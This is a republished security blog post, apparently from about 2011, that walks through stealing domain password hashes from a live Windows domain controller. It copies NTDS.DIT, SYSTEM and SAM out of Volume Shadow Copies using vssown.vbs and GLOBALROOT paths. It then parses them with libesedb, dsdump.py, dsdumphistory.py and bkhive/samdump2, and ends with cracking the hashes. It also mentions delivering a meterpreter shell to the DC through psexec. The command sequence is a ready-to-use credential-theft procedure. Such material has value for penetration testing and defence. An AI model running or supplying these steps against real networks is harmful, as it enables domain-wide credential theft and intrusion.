博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Safely Dumping Hashes from Live Domain Controllers
阅读量:2437 次
发布时间:2019-05-10

本文共 4117 字,大约阅读时间需要 13 分钟。

 

UPDATE: See for updated information.

Recently, and I presented material on some research we've been conducting for several months in a talk called . The basis of the talk and the purpose for our research is that there are some really cool things you can do with Volume Shadow Copies in modern Windows Operating Systems. Our talk takes the approach of using Shadow Copies for hiding malware on Windows systems, but Mark mentions during the talk how one can access protected system files through Shadow Copies as well.

The day after we first presented "Lurking in the Shadows" at Hack3rCon II, () reached out to me and asked if I'd ever tried to take the SAM, SYSTEM hive or NTDS.DIT files from a live system using this technique. At the time, I hadn't. So, I immediately fired up my Windows 7 box, created a Shadow Copy with , and attempted to copy the SAM and SYSTEM hive files directly from the Shadow Copy. To my surprise, the 2 files copied without any non-readable errors! I guess I knew it would be possible, as Mark and I were already beating around this bush, but this meant something bigger. Something huge. Was it now possible to dump the NTDS.DIT and SYSTEM hive files from a LIVE domain controller for offline hash dumping? I quickly promoted one of my 2008 Servers to a DC, psexec'd a meterpreter shell to it and took a shot at the NTDS.DIT file with VSSOwn. The file copied out of the Shadow Copy without issue.

So it appears that Mark and I have uncovered some interesting stuff here. You can access anything that is supposed to be locked down and protected on a Windows system by accessing them through Shadow Copies. I can only imagine how we are going to begin seeing this used in the wild and I'm interested to see what others come up with.

But wait a sec. I still don't have hashes. All I have is the SYSTEM hive and the NTDS.DIT file. What can we do with these? Well, up until recently, nothing for free. No one had built a free, open source tool for parsing NTDS.DIT files and decrypting the hashes. But during my quest to find something, tweeted a link to white paper. In brief, a security researcher named took some existing tools and modified them to parse through the NTDS.DIT file and extract the hashes from it. Awesome! The link is complete! I combined Mark and my technique with Csaba's tools and here is the result:

1. Create a new Shadow Copy.

cscript vssown.vbs /start (optional)
cscript vssown.vbs /create

2. Pull the following files from a shadow copy:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM .

3. Copy files to BT5R1.

2. Download tools from:

3. Configure and Make the source code for libesedb from the extracted package.

cd libesedb
chmod +x configure
./configure && make

4. Use esedbdumphash to extract the datatable from ntds.dit.

cd esedbtools
./esedbdumphash ../../ntds.dit

5a. Use dsdump.py to dump the hashes from the datatable using the bootkey from the SYSTEM hive.

cd ../../creddump/
python ./dsdump.py ../SYSTEM ../libesedb/esedbtools/ntds.dit.export/datatable

5b. Use bkhive and samdump2 to dump the hashes from the SAM file using the bootkey from the SYSTEM hive.

bkhive SYSTEM key.txt
samdump2 SAM key.txt

6. Crack the hashes.

Beautiful right? But we're not done yet. Csaba also created a tool called dsdumphistory.py which dumps the PAST hashes of all the users as well. Now you can crack the historical passwords of users and identify patterns in their password history.

python ./dsdumphistory.py ../system ../libesedb/esedbtools/ntds.dit.export/datatable

So what exactly does this mean? No more dangerous LSSAS injection to dump domain hashes and no more drive mounting to access locked and protected system files. This is just plain awesome! Huge props to Csaba Barta for the tools and kick ass white paper, Matt Graeber for the idea (and everything else it seems like recently), and for providing the files I needed to test all this stuff. You guys rock!

转载地址:http://vshmb.baihongyu.com/

你可能感兴趣的文章
屡次选错终致项目暴毙(转)
查看>>
WinXP优化 全面消除操作系统的复制乱码(转)
查看>>
symbian 60 开发的一个问题-让左右键都能弹出菜单(转)
查看>>
SQL Server静态页面导出技术(转)
查看>>
黑客软件最常用的连接端口一览(转)
查看>>
解决无盘多机启动慢的方法(转)
查看>>
检查字符串strSource是否为big或big5码(转)
查看>>
EXCEL读取与写入数据的最佳方案(转)
查看>>
windows运行命令详解(转)
查看>>
sql语句插入的数据中含有单引号怎么办(转)
查看>>
RJ45接头接法(转)
查看>>
将数据库的内容放到下拉列表中(转)
查看>>
突破网吧及机房管理限制的方法(转)
查看>>
WAP 2.0--XHTML mobile profile(转)
查看>>
Platform Builder之旅(二)(转)
查看>>
GFP:新一代多业务传输技术(转)
查看>>
安全至上:7月11日值得注意病毒列表(转)
查看>>
How to Use DBMS_SUPPORT Package(转)
查看>>
在Win2003中配置SNMP服务的网络安全(转)
查看>>
如何彻底保护你的网站不受RDS攻击的威胁(转)
查看>>